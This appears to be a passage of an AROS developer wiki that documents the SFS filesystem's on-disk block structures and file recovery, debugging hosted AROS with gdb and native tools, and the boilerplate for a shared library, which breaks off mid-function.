Creating your own [without the whole build tree http://pagesperso-orange.fr/franck.charlet/temp/radeon.zip] and then  
&lt;pre&gt;
make stub
make
make install
&lt;/pre&gt;

SFS has two Root blocks, one at the start and one at the end of the disk. The Root blocks both contain the same information.  They hold various information about the disk structure and have the locations of some important blocks used by the filesystem.  

The Root ObjectContainer contains the Root directory Object. The name of this Object is the name of the volume. It is identical to a normal directory Object.

The Bitmap is used to keep track of free space. Each bit in a bitmap represents a single block. A set bit indicates a free block and a cleared bit a used block.

AdminSpaceContainers are used to keep track of space which has been reserved for storing administration blocks. Only the Bitmap, the Root blocks and the actual data stored in files aren't stored in administration space. Administration space is allocated in chunks of 32 blocks at a time. A single AdminSpaceContainer can hold information about a large number of such areas each of which has its own little bitmap of 32 bits.

Extents are stored in a B-Tree. The Root block holds a pointer to the root of the Extent B-Tree. Extents keep track of space in use by a specific file. Each fragment a file consists of has its own Extent. Extents are in a double linked list. The list can be used to locate the next or previous fragment of a file.

Below is the standard block header. This header is found before EVERY type of block used in the filesystem, except data blocks.  The id field is used to check if the block is of the correct type when it is being referred to using a BLCK pointer.  The checksum field is the SUM of all LONGs in a block plus one, and then negated. When applying a checksum the checksum field itself should be set to zero. The checking a checksum the checksum is okay if the result of the checksum equals zero. The ownblock BLCK pointer points to the block itself. This field is an extra safety check to ensure we are using a valid block.

Field	Type	Description
id	ULONG	The id field is used to identify the type of block we are dealing with. It is used to make sure that when referencing a block we got a block of the correct type. The id consist of 4 bytes and each blocktype has its own unique foure letter code.
checksum	ULONG	This field contains the sum of all longs in this block, plus one and then negated. The checksum can be used to check if the block hasn't been corrupted in any way.
ownblock	BLCK	Points to itself, or in other words, this field contains the block number of this block. This is yet another way to check whether or not a block is valid.

&lt;pre&gt;
struct fsBlockHeader {
    ULONG id;
    ULONG checksum;
    BLCK ownblock;
};
&lt;/pre&gt;
The algorithm to calculate the checksum of a block:
&lt;pre&gt;
ULONG calcchecksum(struct fsBlockHeader *block, LONG blocksize} {
    ULONG *data=(ULONG *)block;
    ULONG checksum=1;

    block-&gt;checksum=0;

    while(blocksize&gt;0) {
        checksum+=*data++;
        blocksize-=4;
    }

    return(-checksum);
} 
&lt;/pre&gt;

A Root block contains very important information about the structure of a SFS disk. It has information on the location and size of the disk, the blocksize used, locations of various important blocks, version information and some filesystem specific settings.

A SFS disk has two Root blocks; one located at the start of the partition and one at the end. On startup the filesystem will check both Roots to see if it is a valid SFS disk. If either one is missing SFS can still continue (although at the moment it won't).

A Root block could be missing on purpose. For example, if you extend the partition at the end (adding a few MB's) then SFS can detect this with the information stored in the Root block located at the beginning (since only the end-offset has changed).   Same goes for the other way around, as long as you don't change start and end point at the same time.

When a Root block is missing because the partition has been made a bit larger, then SFS will in the future be able to resize itself without re-formatting the disk.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
version	UWORD	The version of the filesystem block structure. You can check this field to identify what version of the filesystem your dealing with it and to see if you can handle this structure correctly. Don't try to interpret the disk's structure when this field contains an unknown version number!

sequencenumber	UWORD	Used to identify which Root block was written last in case the sequencenumber on both Root blocks don't match.
datecreated	ULONG	Creation date of this volume. This is the date when the disk was last formatted and will never be changed.

bits	UBYTE	Various settings, see below.
&lt;pre&gt;
pad1	UBYTE	Reserved, leave zero.
pad2	UWORD	Reserved, leave zero.
reserved1	ULONG[2]	Reserved, leave zero.
firstbyteh	ULONG	High 32-bits of a 64-bit number. This is the first byte of our partition relative to the start of the disk.
firstbyte	ULONG	Low 32-bits of a 64-bit number.
lastbyteh	ULONG	High 32-bits of a 64-bit number. This is the last byte (exclusive) of our partition relative to the start of the disk.
lastbyte	ULONG	Low 32-bits of a 64-bit number.
totalblocks	ULONG	The total number of blocks this partition consists of.
blocksize	ULONG	The size of a block of this partition.
reserved2	ULONG[2]	Reserved, leave zero.
reserved3	ULONG[8]	Reserved, leave zero.
bitmapbase	BLCK	Block number of the start of the Bitmap.
adminspacecontainer	BLCK	Block number of the first AdminSpaceContainer.
rootobjectcontainer	BLCK	Block number of the ObjectContainer which contains the root of the disk (this is where the volume name is stored).
extentbnoderoot	BLCK	Block number of the root of the Extent B-Tree.
reserved4	ULONG[4]	Reserved, leave zero.
&lt;/pre&gt;

&lt;pre&gt;
struct fsRootBlock {
  struct fsBlockHeader bheader;
  UWORD version;
  UWORD sequencenumber;
  ULONG datecreated;
  UBYTE bits;
  UBYTE pad1;
  UWORD pad2;
  ULONG reserved1[2];
  ULONG firstbyteh;
  ULONG firstbyte;
  ULONG lastbyteh;
  ULONG lastbyte;
  BLCK  totalblocks;
  ULONG blocksize;
  ULONG reserved2[2];
  ULONG reserved3[8];
  BLCK  bitmapbase;
  BLCK  adminspacecontainer;
  BLCK  rootobjectcontainer;
  BLCK  extentbnoderoot;
  ULONG reserved4[4];
};
&lt;/pre&gt;

AdminSpaceContainers are used to store the location and bitmap of each administration space. The AdminSpaceContainers are located in a double linked list and they contain an array of fsAdminSpace structures.  There is one fsAdminSpace structure for every administration space on disk.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
next	BLCK	The next AdminSpaceContainer, or zero if it is the last in the chain.
previous	BLCK	The previous AdminSpaceContainer, or zero if it is the first AdminSpaceContainer.
bits	UBYTE	The number of bits in each in the bits ULONG in the fsAdminSpace structure.
pad1	UBYTE	Reserved, leave zero.
pad2	UWORD	Reserved, leave zero.
adminspace	struct fsAdminSpace	An array of fsAdminSpace structures. The size of the array is determined by the current blocksize.
&lt;pre&gt;
struct fsAdminSpaceContainer {
  struct fsBlockHeader bheader;
  BLCK next;
  BLCK previous;
  UBYTE bits;
  UBYTE pad1;
  UWORD pad2;
  struct fsAdminSpace adminspace[0];
};
&lt;/pre&gt;
Field	Type	Description
space	BLCK	The first block of an administration space.
bits	ULONG	A small bitmap which is used to determine which blocks in an administration space are already in use. The number of bits in this bitmap is determined by the bits field in the AdminSpaceContainer.
&lt;pre&gt;
struct fsAdminSpace {
  BLCK  space;
  ULONG bits;
};
&lt;/pre&gt;

The fsBitmap structure is used for Bitmap blocks. A bitmap block is used to keep track of which space is in use and which isn't for a particular area of a disk.  All bitmap blocks together keep track of the free space for an entire disk. The location of the first bitmap block is known and all other bitmap blocks are stored in order after the first one.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
bitmap	ULONG	An array of ULONG's.  These hold the actual information on which blocks are in use and which aren't.
&lt;pre&gt;
struct fsBitmap {
    struct fsBlockHeader bheader;
    ULONG bitmap[0];
};
&lt;/pre&gt;
Each bit in a bitmap block (except for the block header) represents a single block. If the bit is set than the block is free, and if the bit is clear then it is full. The first ULONG in the bitmap area of the first bitmap block represents blocks 0 through 31 on the disk. Bit 31 of this ULONG is block 0, 30 is block 1, and so on. Bit 0 of the first ULONG represents block 31.

Below is a table to clarify how bitmaps work even further. The first column is the bitmap block number, the second column is the number of the ULONG in the bitmap array. The third column is the bit number in this ULONG, and the last column is the block which this specific bit, in this specific bitmap block represents.

We'll assume here that a bitmap block has room for 120 ULONG's (meaning there is room for storing 32 * 120 bits).

&lt;pre&gt;
Bitmap block	ULONG number	Bit number	Block represented
1 (first)	0	31	0
1	0	30	1
...	...	...	...
1	0	1	30
1	0	0	31
1	1	31	32
...	...	...	...
1	2	31	64
1	2	30	65
...	...	...	...
1	119	0	3839
2	0	31	3840
2	0	30	3841
...	...	...	...
&lt;/pre&gt;
The last bitmap block doesn't need to be completely used. The unused bits (which belong to blocks which do not exist) all have to be clear, to indicate that these blocks are in use.

The fsObjectContainer structure is used to hold a variable number of fsObjects structures (Objects) which have the same parent directory. Each ObjectContainer must contain at least one Object. If there is space in the ObjectContainer not used by the variable number of Objects then that space is zero filled. Objects always start at 2-byte boundaries, which means sometimes a padding byte is inserted between two Objects.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
parent	NODE	The node number of the parent Object, or 0 if this object has no parent (which is only the case for the Root directory).
next	BLCK	The next ObjectContainer belonging to this directory, or zero if it is the last in the chain.
previous	BLCK	The previous ObjectContainer belonging to this directory, or zero if it is the first ObjectContainer in this directory.
object	struct fsObject	A variable number of fsObject structures. The number of structures depends on the individual sizes of each fsObject structure and the blocksize. These structures are located directly after each other with at most 1 byte of padding between them to get the structures aligned on a 2 byte boundary.
&lt;pre&gt;
struct fsObjectContainer {
    struct fsBlockHeader bheader;
    NODE parent;
    BLCK next;
    BLCK previous;
    struct fsObject object[0];
}; 
&lt;/pre&gt;

fsHashTable is the structure of a HashTable block. It functions much like the hash table found in FFS user directory blocks, except that it is stored in a separate block. This block contains a number of hash-chains (about 120 for a 512 byte block). Each hash-chain is a chain of Nodes. Each Node has a pointer to an Object and a pointer to the next entry in the hash-chain.  Using such a hash-chain you can locate an object quickly by only knowing its name.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
parent	NODE	The node number of the directory Object this HashTable block belongs to.
hashentry	NODE	An array of Nodes. Each Node represents the start of a hash-chain (singly linked). A hash-value is calculated using the name of a file or directory, and this value determines in which chain the Object is linked. If there are no entries in a hash-chain then the hashentry value is zero.
&lt;pre&gt;
struct fsHashTable {
    struct fsBlockHeader bheader;
    NODE parent;
    NODE hashentry[0];
};
&lt;/pre&gt;
To calculate the hash-value using a name of an Object as input use these routines:
&lt;pre&gt;
UWORD calchash(UBYTE *name) {
    UWORD hash=0;
    /* Calculates a hash value over the passed in string.
       The end of the string can be either a NUL byte or a
       slash. The hash function is the same as the one
       used in FastFileSystem set to international mode. */
    while(name[hash]!=0 &amp;&amp; name[hash]!='/') {
        hash++;
    }
    while(*name!=0 &amp;&amp; *name!='/') {
        hash=hash*13+upperchar(*name++);
    }

    return((UWORD)(hash % (UWORD)((blocksize-sizeof(struct fsHashTable))&gt;&gt;2)));
}
UBYTE upperchar(UBYTE c) {
    if((c&gt;=224 &amp;&amp; c&lt;=254 &amp;&amp; c!=247) || (c&gt;='a' &amp;&amp; c&lt;='z')) {
        c-=32;
    }
    return(c);
}
&lt;/pre&gt;

The BNodeContainer is used to store B-Trees. Currently only one B-Tree is in use by this filesystem and it is used to store the location of file data. The fsBNodeContainer structure contains two other structures. The fsBlockHeader structure and the BTreeContainer structure.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
btc	struct BTreeContainer	Contains information about the B-Tree and its nodes contained in this block.
&lt;pre&gt;
struct fsBNodeContainer {
    struct fsBlockHeader bheader;
    struct BTreeContainer btc;
}; 
&lt;/pre&gt;


First try and locate the Root block. It should start with &quot;ROOT&quot;.  SFS has two of these, one at the start of the partition and one at the end.  One of the fields contains the block size, which will be the size of all important SFS blocks.

The root block has the root object container, which contains information about files and directories in the root directory.  The object 
containers basically hold one or more smaller structures that represent files and directories.  Scanning them all should give you a list of 
files and directories.

The root block also has the root of the Extent B-Tree.  This is a standard B-Tree structure (not a binary tree) that is used commonly in 
all kinds of system, you can read about how they work on Wikipedia if needed.  The B-Tree holds the information about *where* all the data is 
located for your files.

To recover your files, I'd do this:

* Find one of the root blocks, if not present, then figure out the block size your disk was using, and scan every block in turn to see if it 
looks like an ObjectContainer (check the fsBlockHeader's ID, check if the ownblock number is equal to the block you are currently scanning, 
and check its checksum).  So if you currently have block 12, and you see a block with the correct id, and ownblock = 12 and its checksum is good, 
then that's probably a valid ObjectContainer.

* With all the ObjectContainers found, you can extract filenames and directory names from these, but also the number of their first data 
block (in the field data) and the file size.  For small files (less than blocksize) this data block will be enough to recover the data.
For larger files, you might be lucky and all the remaining blocks are found after the first one (if the file was defragmented).  You can't be
sure of that though so...

* For larger files, you need to find all the BNodeContainers.  You could scan these in the same way you found all the ObjectContainers (look for 
blocks with the correct id, ownblock number and checksum). 

* With all the BNodeContainers found, you can try looking up the first data block of a file in the B-Tree structure.  This is a bit complicated 
-- the B-Tree consists of non-leaf nodes (blocks that only contain pointers to other B-Tree blocks), the isLeaf flag indicates this.  Or it 
can be a B-Tree leaf block.  The leaf blocks contain extra information per entry (see https://hjohn.home.xs4all.nl/SFS/extents.htm)
&lt;pre&gt;
struct fsExtentBNode {
     ULONG key;
     ULONG next;
     ULONG prev;
     UWORD blocks;
};
&lt;/pre&gt;

The key should be a block of a file (the first of a range), that is 1 to 65535 block long (depending the &quot;blocks&quot; field).  If the file is split 
up into more parts, then &quot;next&quot; will contain block number of the next range of blocks.  You need to look this up again in the B-Tree 
structure to find out how large it is. 

You can for the most part ignore the other structures (bitmap, admin containers).  The fsObjects and B-tree containers is what you'll need to 
recover the data. 


====Resources====

&lt;pre&gt;
rom/storage/mmakefile.src 
rom/storage/storage.conf 
rom/storage/storage_device.c 
rom/storage/storage_ids.c 
rom/storage/storage_init.c 
rom/storage/storage_intern.h 
rom/storage/storage_mount.c 
rom/storage/storage_unit.c
&lt;/pre&gt;

&lt;pre&gt;
rom/storage/includes/device.h 
rom/storage/includes/unit.h 
rom/storage/includes/volume.h 
rom/storage/storage_intern.h 
&lt;/pre&gt;

&lt;pre&gt;

&lt;/pre&gt;

*[[Aros/Developer/Docs/Resources/ACPI|acpi.resource]]
*[[Aros/Developer/Docs/Resources/Battclock|battclock.resource]]
*[[Aros/Developer/Docs/Resources/Bootloader|bootloader.resource]]
*[[Aros/Developer/Docs/Resources/Cia|cia.resource]]
*[[Aros/Developer/Docs/Resources/Filesystem|FileSystem.resource]]
*[[Aros/Developer/Docs/Resources/Hostlib|hostlib.resource]]
*[[Aros/Developer/Docs/Resources/Kernel|kernel.resource]]
*[[Aros/Developer/Docs/Resources/Misc|misc.resource]]
*[[Aros/Developer/Docs/Resources/Processor|processor.resource]]


==Debugging Code==

Please use the [http://sourceforge.net/tracker/?group_id=43586&amp;atid=439463 AROS Bug Tracker] if any issues are found.


GRUB Command line list

&lt;pre&gt;
sysdebug  
usbdebug - allows to see Poseidon's log in debug output
&lt;/pre&gt;


How do I get debugging out of InitResident ? If running i386 hosted on linux sysdebug=initresident on command line.
This  way  you can enable any of listed flags. sysdebug=all stands for &quot;everything&quot;


Have an executable (crosscompiled C++ code) which has 6 MB size on disk, but after loading it in memory, 250 MB RAM is taken. Any software that would split AROS executable into ELF part which would show actual size values?

 readelf -S executable

it will show you all sections in elf file, including sizes and requested alignment.

 objdump -h filename

That's will give you a quick overview of the sections and sizes. Ignore all the .debug.* sections. 
Would hazard a guess that you have a large .bss section. That's pretty common in C++.

Next step:

 nm—size-sort filename | grep ' [bB] '

The last few will be your biggest consumers. Would suggest -C to demangle the symbols... ;)


Suggest profiling the program (just use some printf's in the main loop for time spent in each part), it usually is quite easy to spot slow parts in games or apps.

If someone has '#define IPTR ULONG' somewhere. To see where that define is, redefine IPTR in the source code that fails, just above the line that fails, and the preprocessor will tell you where it was defined first.

===How to setup gdb with AROS/hosted===

Download AROS sources (AROS-xxxxxxxx-source.tar.bz2, where xxxxxxxx is the current date) and AROS contrib sources (AROS-xxxxxxxx-contrib-source) from 

Untar-bzip2 and cd to the unpacked archive directory.

 &gt; tar -xvjf AROS-xxxxxxxx-source.tar.bz2
 &gt; cd AROS-xxxxxxxx-source

Check the link to &quot;contrib&quot; (contrib-source) inside directory, e.g. correct like this:

 &gt; rm contrib
 &gt; ln -s ../AROS-xxxxxxxx-contrib-source.tar.bz2 contrib

Make sure you have the correct locale setting, otherwise compilation will fail at some point. See [http://aros.sourceforge.net/documentation/developers/compiling.php#setting-the-locale-to-iso8859 here] (or link below) for more on that. You might have to enter this:

 &gt; export LANG=&quot;en_US.ISO-8859-1&quot;

Now configure for a debug build - see &quot;./configure --help&quot; for more - here are two examples:

 &gt; ./configure—enable-debug=stack,modules,symbols
 
 &gt; ./configure—enable-debug=all

You may &quot;make&quot; now, or choose a separate directory for your build (e.g. for easy removal), for example if compiling for i386 architecture you could create a directory like this:

 &gt; mkdir linux-i386
 &gt; cd linux-i386
 &gt; ../AROS/configure—enable-debug=stack,symbols,modules

When done configuring you're ready to go:

 &gt; make

Building AROS takes some time - minutes on fast machines (e.g. 2.5&amp;nbsp;GHz quadcore), up to hours on slower machines.
The result will be AROS Linux hosted with gdb debugging enabled.

See aros.org documentation for more on compiling AROS, including more [http://aros.sourceforge.net/documentation/developers/compiling.php --enable-debug] options.


When finished, enter bin/linux-i386/AROS directory (replace &quot;linux-i386&quot; with your compilation target platform, e.g. linux-x86_64, etc.) inside the unpacked archive directory. This directory contains the required .gdbinit file for properly running AROS inside gdb.

 &gt; cd bin/linux-i386/AROS

Run AROS (here: with 128MB of memory) from gdb:

 &gt; gdb—args boot/aros-unix -m 128
or
 &gt; gdb—args boot/arosboot -m 128

 (gdb) r

Watch the shell output - in case AROS complains about &quot;LoadKeyCode2RawKeyTable: Loading &quot;DEVS:Keymaps/X11/keycode2rawkey.table&quot; failed!&quot; you should also see some instructions on how to create a keymap table. (see link above &quot;more on compiling&quot;, too.)
Quit gdb, and try default keymap table:

 (gdb) q
 The program is running.  Quit anyway (and kill it)? (y or n) y
 &gt; cd ../../..
 &gt; make default-x11keymaptable

Re-run AROS, as described above. Try e.g. RAros (= right windows key) + W to open a shell. If this doesn't work you have to create a keymap table yourself, quit gdb again, and make a new keytable:

 &gt; make change-x11keymaptable

A window will open. Watch the window's title bar, and follow the instructions.

When done, re-run AROS. RAros + W should now open a shell.

Next, compile your program with gdb support.


When you start GDB is there a warning which says

   warning: File &quot;&lt;whatever&gt;/.gdbinit&quot; auto-loading has been declined by your `auto-load safe-path' set to ...

If so start gdb with &quot;-ix .gdbinit&quot;


&lt;pre&gt;
Summary - In short:

* build AROS with debugging support (i.e. ./configure --enable-debug=all)
* build your application with debugging support (i.e. option -g)
* run AROS in the GNU debugger (you may use the GUI frontend &quot;ddd&quot; which simplifies usage a bit)
* start your application
* use the commands &quot;findaddr&quot; and &quot;add-symbol-file&quot; as written in the debugging manual
* if the debugger doesn't find the source code of your application use the &quot;dir&quot; command of the debugger. 
&lt;/pre&gt;

===How to use gdb===

In AROS open a shell, then (in host shell) use CTRL-Z to go into gdb. Use &quot;b Exec_CreatePool&quot; (one of the functions used early on by startup code in programs) to add a breakpoint, then &quot;cont&quot; and gdb will interrupt somewhere early during startup of &quot;program&quot;. Use &quot;bt&quot; to show backtrace and &quot;loadseg&quot; for &quot;??&quot; entries. One of them will be for &quot;program&quot;. After that you can use &quot;disassemble program&quot;.

One thing you need to make sure is that .gdbinit you have in your build directory is the same as in source tree. It has been modified some time ago, but the build system does not refresh it - you need to copy it manually

To recap, please read our debugging [http://aros.sourceforge.net/documentation/developers/debugging.php manual]:


To detect segfaulting when loading, try...

 ./configure—enable-debug—with-optimization=&quot;-O2&quot;

Because crash or no crash may depend on optimization. For newer compilers maybe this helps...

 --with-optimization=-&quot;-O2 -fno-strict-aliasing&quot;

One way to make crashes less random (more easily reproducible) is to activate the munging of free memory in rom/exec/freemem.c which is normally commented out:

&lt;pre&gt;
Index: freemem.c
===================================================================
--- freemem.c   (revision 34289)
+++ freemem.c   (working copy)
@@ -154,11 +154,12 @@
         * created with their TCB placed in the tc_MemEntry list. The workaround
         * is to avoid munging when FreeMem() is called with task switching disabled.
         */
+
        /* DOH! it doesn't work even this way. What's wrong???
-        *
-        * if ((SysBase-&gt;TDNestCnt &lt; 0) &amp;&amp; (SysBase-&gt;IDNestCnt &lt; 0))
-        *      MUNGE_BLOCK(memoryBlock, MEMFILL_FREE, byteSize);
         */
+
+       if ((SysBase-&gt;TDNestCnt &lt; 0) &amp;&amp; (SysBase-&gt;IDNestCnt &lt; 0))
+           MUNGE_BLOCK(memoryBlock, MEMFILL_FREE, byteSize);

     }
&lt;/pre&gt;

Mungwall can be turned on at runtime. Currently this works in all hosted versions. Just specify &quot;mungwall&quot; on kernel command line and it works. It can work on native too. In order to enable it you need to parse kernel command line, and if &quot;mungwall&quot; is present, set EXECF_MungWall bit in IntExecBase.IntFlags.

This needs to be done before the first AllocMem() for obvious reasons. And never reset back this flag! If you change it on a working system, you are doomed.

Hosted ports do the processing in rom/exec/prepareexecbase.c --enable-debug=mungwall option in configure still works but is going obsolete.  A kludge in rom/exec/allocmem.c is responsible for this and it needs to be removed when the transition is done.

BTW,  on  i386-pc  port it can be activated by &quot;mungwall&quot; argument on command line, you don't need to rebuild AROS.
New mungwall affects not only AllocMem()/FreeMem(), but also pools. I also tested it with AllocAbs(), seems to work correctly.

Runtime mungwall works on:

* pc-i386
* pc-x86_64
* linux-i386
* linux-x86_64
* darwin-x86
* linux-ppc

Works on all hosted ports, if the port itself is working.

* amiga-m68k
* Not on sam440-ppc and efika-chrp-ppc, even if they would be able to be built at moment. Does not work on (for now, need NVRAM support)

When starting my freshly rebuilt i386-linux-aros which was compiled with full debugging support I get sometimes the error &quot;Program exited with code 0377&quot;. Add the following to your .gdbinit: 
 set follow-fork-mode child

Here are some of the custom AROS gdb functions (defined in &quot;.gdbinit&quot; file) to resolve &quot;in ?? ()&quot; entries in backtrace: 
&lt;pre&gt;
#0 0xb7ffd424 in __kernel_vsyscall ()
#1 0xb7e2a657 in sigsuspend () from /lib/libc.so.6
#2 0xb7c63900 in ?? ()
#3 0xb7c640e3 in ?? ()
#4 0xb7c641e0 in ?? ()
&lt;/pre&gt;

You can use

 loadseg 0xb7c63900
 loadframe 2
or
 loadbt
and some others. Use &quot;help &quot; for a little help text. If the commands do not work try &quot;loadkick&quot; first.


Use &quot;thistask&quot;, &quot;taskready&quot;, &quot;taskwait&quot; to get list of AROS tasks. &quot;bttask &quot; shows backtrace of a task which is in ready or in wait queue and &quot;loadseg&quot; to resolve &quot;??&quot; entries in it's backtrace (&quot;loadframe&quot; would not work as it assume current running task).

===Native debugging tools for AROS===

 to enable debugging at boot time entering the GRUB menu editing line (E key) and adding &quot;debug=memory&quot; to your boot line, then press Ctrl+X to complete booting.


SYS:Tools/Debug/'''Bifteck'''

Open a shell and enter the line below to run Biftek and grab the debug messages collected in RAM into a text file.

 tools/debug/bifteck &gt; ram:debug.txt

and certainly does not open a window. It is a shell tool and only dumps data located from the debug location.
It is therefore important to 'catch' that debug data as soon as possible (before it gets overridden). You should invoke bifteck at the first opportunity before doing anything else.  You can use the TO option to store bifteck output to a file or you can pipe it manually to a file.  


SYS:Tools/Debug/'''Sashimi''' - displays error messages

One suggestion is to do a bug() debugging. Each time bug() is executed it will be output on sashimi. 
You include &lt;aros/debug.h&gt; and place bug(&quot;something\n&quot;); in your source code at location though which control passes.

To get the output - open an aros shell

 SYS:Tools/Debug/sashimi &gt; RAM:out.txt

'''Ctrl C''' to end the output to the RAM Disk.

# open shell, and type
# ram: (to switch to ram drive)
# System:Tools/Debug/Sashimi &gt; mylogfile.txt
# open AHI prefs using wanderer (or use another opened shell)
# play test sound
# close AHI prefs
# shell still open with Sashimi running: press ctrl-c to break Sashimi and return to prompt.
# in shell: copy mylogfile.txt System: (or to your required location)


SYS:Utilities/'''Snoopy''' - monitors OS function calls, run &quot;Sashimi&quot; to see Snoopy's output


SYS:Tools/'''WiMP'''    - the Window (and Screens) Manipulation Program

You can use the -E option of gcc to find out how preprocessor macros are expanded.

===Errors===

crash in strcasecmp usually means that one of its arguments is NULL.

empty space between these two names, prossibly some invisible character 

Old Amiga [http://www.amigacoding.com/index.php?title=Guru_codes&amp;redirect=no Guru Codes]

If the crash is in intuition. Sometimes, if it relates to text, a null pointer sets it off. 
an uninitialised pointer can have any address (this is a common fault).


Compiling on 64bit, Many old code would not properly typecast when doing pointer-integer conversions and thus at least throw a warning. This can easily be located and fixed.

[http://www.aros.org/cs/documentation/developers/app-dev/portable.php Portable code] 

* Use texteditor or some tool to replace all &quot;ULONG&quot; with &quot;IPTR&quot; and &quot;LONG&quot; with &quot;SIPTR&quot; in the sources.
* Fix (change IPTR/SIPTR back to ULONG/LONG) the few places which really rely on ULONG/LONG being exactly 32 bit. That's for things like pixel (ARGB) buffers, structs written/read to disk, colormaps, but probably not much else.

Then again, many current compilers also throw a warning when you try to assign a pointer value to an integer and the integer is possibly too small. This happens under .NET for example when a 64 bit pointer is assigned to something like an ULONG - so exactly the case which you described.


=== Example ===

&lt;syntaxhighlight lang=&quot;c&quot;&gt;
/* 1. Header for your name,date,purpose of program.
2. Pre-processor directives. This will include the #includes for files you want to add. 
3. Includes for function prototypes if necessary.
4. Main()
Create Pointers for Libraries and any Window you want to open.
5. Open necessary libraries.
6. Check if open exit program if fail.
7. Open a window exit program if fail.
8. Add your program
9. Close Window
10 Close Libraries.
11 End Program. */

/* standard os included headers &lt;.h&gt; */
#include &lt;dos/dos.h&gt;
#include &lt;dos/dosasl.h&gt;
#include &lt;dos/dosextens.h&gt;
#include &lt;dos/exall.h&gt;
#include &lt;dos/rdargs.h&gt;
#include &lt;exec/memory.h&gt;
#include &lt;exec/types.h&gt;
#include &lt;utility/utility.h&gt;
#include &lt;intuition/intuition.h&gt;

/* define as unresolved external references (proto/xxx.h) and compiler will link to auto(matically) open library */ 
#include &lt;proto/arossupport.h&gt;
#include &lt;proto/dos.h&gt;
#include &lt;proto/exec.h&gt;
#include &lt;proto/intuition.h&gt;
#include &lt;proto/graphics.h&gt;
#include &lt;proto/cybergraphics.h&gt;
#include &lt;proto/datatypes.h&gt;
#include &lt;proto/icon.h&gt;

#include &lt;workbench/workbench.h&gt;
#include &lt;workbench/icon.h&gt;

#include &lt;datatypes/pictureclass.h&gt;

#include &lt;proto/muimaster.h&gt;
#include &lt;libraries/mui.h&gt;

#include proto/bsdsocket.h

#include &lt;ctype.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

/* my own headers &quot;.h&quot; */

#define CTRL_C      (SetSignal(0L,0L) &amp; SIGBREAKF_CTRL_C)
#define  isDir(fib) ((fib)-&gt;fib_DirEntryType &gt;= 0)

#define ARG_TEMPLATE    &quot;FILE/A,ALL/S,QUIET/S,W=WIDTH/N,H=HEIGHT/N,M=METHOD,DEFTOOL&quot;

int main(void)
{


	return retval;
} /* main */
&lt;/syntaxhighlight&gt;

&lt;syntaxhighlight lang=&quot;c&quot;&gt;
&lt;/syntaxhighlight&gt;

If you used c++, there is not yet c++ support in our shared library system. 
The easiest way to create / compile a shared library would be to use the AROS build system but the libraries can be created manually. You have to create a ROMTAG structure and some header files.  

A shared library is built with the %build_module macro with a line like this:

 %build_module mmake=MetaTarget modname=mylib modtype=library files=SourceFiles 

This macro can build different AROS module types, like devices, Zune classes, HIDDs, etc.

&lt;pre&gt;
##begin config
version 1.0
##end config

##begin functionlist
void func1(LONG a, LONG b)
int func2(char *s, ULONG a)
##end functionlist
&lt;/pre&gt;


Alternatively,  

&lt;pre&gt;
#ifndef LIB_H
#define LIB_H

#define __NOLIBBASE__

#include &lt;exec/libraries.h&gt;
#include &lt;exec/semaphores.h&gt;
#include &lt;dos/dos.h&gt;

#ifdef __AROS__
//#include &lt;aros/debug.h&gt;
#define reg(x)
#define __saveds
#endif

#define USESYSBASE struct ExecBase *SysBase = Base-&gt;My_SysBase;

struct MyTestBase
{
  struct Library   My_Test_Lib;
	struct ExecBase *My_SysBase;
	APTR             My_SegList;
  int              testint;
};

#endif
&lt;/pre&gt;

&lt;pre&gt;
/*--------------------------------------------------------------------------*/
/* Resident header written for mytest.library */
/*--------------------------------------------------------------------------*/

#define __NOLIBBASE__

#define VERSION         1
#define REVISION        0

#define LIBHEADNAME     mytest
#define LIBHEADNAMESTR &quot;mytest&quot;
#define COMPDATE        &quot;04.10.2015&quot;
#define VERS            &quot;1.0&quot;

#define LIBBASETYPE 	struct MyTestBase
#define LIBBASETYPEPTR  LIBBASETYPE *

#include &lt;aros/debug.h&gt;
#include &lt;exec/exec.h&gt;
#include &lt;proto/exec.h&gt;
#include &lt;exec/resident.h&gt;
#include &lt;exec/nodes.h&gt;
#include &lt;exec/libraries.h&gt;
#include &lt;aros/symbolsets.h&gt;
#include &quot;lib.h&quot;

const UBYTE lib_name[] = LIBHEADNAMESTR &quot;.library&quot;;

const UBYTE lib_id[] = &quot;$VER: &quot; LIBHEADNAMESTR &quot;.library &quot; VERS &quot; (&quot; COMPDATE &quot;) by ALB42\n&quot;;

extern const APTR FuncTable[];

AROS_UFP3 (LIBBASETYPEPTR, InitLib,
    AROS_UFPA(LIBBASETYPEPTR, Base, D0),
    AROS_UFPA(BPTR, seglist, A0),
    AROS_UFPA(struct ExecBase *, sysbase, A6)
);

static struct LibInitStruct
{
    IPTR                   LibSize;
    const APTR             *FuncTable;
    const struct DataTable *DataTable;
    APTR                    InitFunc;
}
const LibInitStruct =
{
    sizeof(LIBBASETYPE),
    FuncTable,
    NULL,
    (APTR)InitLib
};

const struct Resident romtag =
{
  RTC_MATCHWORD,              /* match word */
  (APTR)&amp;romtag,              /* back pointer */
  (APTR)(&amp;romtag + 1),        /* skip pointer */
  RTF_AUTOINIT | RTF_EXTENDED,/* flags */
  VERSION,                    /* version */
  NT_LIBRARY,                 /* type of module */
  0,                          /* init priority */
  (STRPTR)lib_name,           /* module name */
  (STRPTR)lib_id + 6,
  (APTR)&amp;LibInitStruct,
  REVISION, NULL
};

AROS_UFH3 (LIBBASETYPEPTR, InitLib,
    AROS_UFHA(LIBBASETYPEPTR, Base, D0),
    AROS_UFHA(BPTR, seglist, A0),
    AROS_UFHA(struct ExecBase *, sysbase, A6)
    )
{
    AROS_USERFUNC_INIT
    
    Base-&gt;My_SegList = seglist;
    Base-&gt;My_SysBase = (APTR)sysbase;
    Base-&gt;testint = 0;
    
    USESYSBASE
    bug(&quot;InitLib\n&quot;);
    
    if (!set_open_libraries())
    {
      set_close_libraries();
      return NULL;
    }
    
    return Base;
    
    AROS_USERFUNC_EXIT
}

AROS_LH1(LIBBASETYPEPTR, LibOpen,
    AROS_LHA (ULONG, version, D0),
    LIBBASETYPEPTR, Base, 1, LIBHEADNAME
    )
{
    AROS_LIBFUNC_INIT
    
    USESYSBASE
    bug(&quot;LibOpen\n&quot;);

    (void)version;
    
